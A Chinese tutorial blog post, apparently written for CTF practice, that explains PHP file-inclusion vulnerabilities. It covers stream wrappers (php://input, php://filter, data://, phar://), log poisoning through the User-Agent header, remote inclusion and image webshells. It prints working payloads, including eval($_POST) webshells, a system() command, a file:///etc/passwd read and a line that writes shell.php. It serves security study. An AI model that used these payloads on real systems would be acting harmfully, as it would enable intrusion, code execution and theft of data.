IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件包含1 -> 正文阅读

[PHP知识库]文件包含1

常见的文件包含函数

php文件包含函数有下面四种

  • include()
  • require()
  • include_once()
  • require_once()
    include与require基本相同,只是一些错误处理不同
  1. include:遇到错误只发出警告,不会出现停止
  2. require:遇到错误要停止
  3. include_once和require_once:只包含一次

基本绕过:

利用php伪协议

1.php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行。
CTF中经常使用file_get_contents获取php://input内容(POST)
需要allow_url_include打开
在这里插入图片描述
当enctype="multipart/form-data"的时候 php://input` 是无效的
例子一

2.php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用

读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php	base64编码 ---最常用的
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换

4.data协议

data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行。
当php被过滤时,就可以适当选择data协议
需满足allow_url_fopen,allow_url_include同时开启才能使用
例如:

?file=data://,<php phpinfo();
?file=data://text/plain,<?php phpinfo();---恶意代码
?file=data://text/plain;base64,base编码内容(恶意代码的base64编码)

注意:使用data协议,后面php代码不要闭合。

zip协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  1. zip://中只能传入绝对路径。
  2. 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
  3. 只需要是zip的压缩包即可,后缀名可以任意更改。
    在这里插入图片描述

bzip2://协议

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用

file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

zlib://协议

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用

file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

phar://协议

phar:// 有点类似zip://同样可以导致 任意代码执行。

区别就是:phar://中相对路径和绝对路径都可以使用
在这里插入图片描述
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用
例子

nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
从而绕过。

5.file协议

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include的影响
file协议可以访问文件的绝对路径,相对路径
file://还经常和curl函数(SSRF)结合在一起
如:?file=file:///etc/passwd,有三条斜杠
例子1
例子2

日志包含

介绍

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

利用条件

  • 对日志文件可读取
  • 知道日志文件的存储目录,一般可以通过phpinfo(),来读取日志文件
    在这里插入图片描述

漏洞利用流程

原理
如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,一般
我们是把恶意代码写入UA头里。但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过
编码,就可以把<?php phpinfo(); ?> 写入apache,iis或者nginx的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道中间件日志文件的存储路径。
流程:
先刷新网页或者上传文件抓包,改UA头为恶意代码,<?php eval($_POST[1]);?>,<?php system("tac ../f*");>,
然后访问日志文件,执行恶意代码

日志文件路径

一)日志默认路径
(1) apache+Linux日志默认路径
        /etc/httpd/logs/access_log
或者
        /var/log/httpd/access_log
(2) apache+win2003日志默认路径
        D:\xampp\apache\logs\access.log
        D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
        C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
        %SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
        日志文件在用户安装目录logs目录下
                以我的安装路径为例/usr/local/nginx,
                那我的日志目录就是在/usr/local/nginx/logs里
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
二)web中间件默认配置
(1) apache+linux 默认配置文件
        /etc/httpd/conf/httpd.conf
或者
         index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
        C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
        C:\Windows\System32\inetsrv\config\applicationHost.config

一般来说,Apache,nginx运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。

远程文件包含

条件

php配置的allow_url_include = on必须为on(开启)

流程

使用file=http://自己服务器地址/shell.txt
包含后利用恶意代码

PHPSESSION包含

[上一篇文章有](https://blog.csdn.net/unexpectedthing/article/details/119488678?spm=1001.2014.3001.5501)

包含/pros/self/environ文件

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。
参考:
https://blog.csdn.net/god_7z1/article/details/7904789

包含临时文件

过程

在这里插入图片描述
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在代码执行结束后,临时文件会被删除。在临时文件被删除之前,利用竞争即可包含该临时文件

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:
CTF题

包含上传文件

很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

图片马的制作方式如下,在cmd控制台下输入:

  1. 进入1.jph和2.php的文件目录后,执行:

  2. copy 1.jpg/b+2.php/a 3.jpg

  3. 将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

参考文献

  1. https://blog.csdn.net/qq_42181428/article/details/87090539(重点)
  2. https://y4tacker.blog.csdn.net/article/details/107780054
  3. https://www.cnblogs.com/wjrblogs/p/12285202.html
  4. https://www.jianshu.com/p/0a8339fcc269
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-10 13:12:35  更:2021-08-10 13:12:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 8:09:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码